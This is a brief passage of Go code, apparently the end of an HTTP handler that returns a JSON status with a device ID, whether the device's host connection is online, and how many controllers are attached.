id = f.device.ID
}
reply(w, http.StatusOK, map[string]any{"deviceId": id, "deviceOnline": f.hostConn != nil, "controllers": len(f.controllers)})
}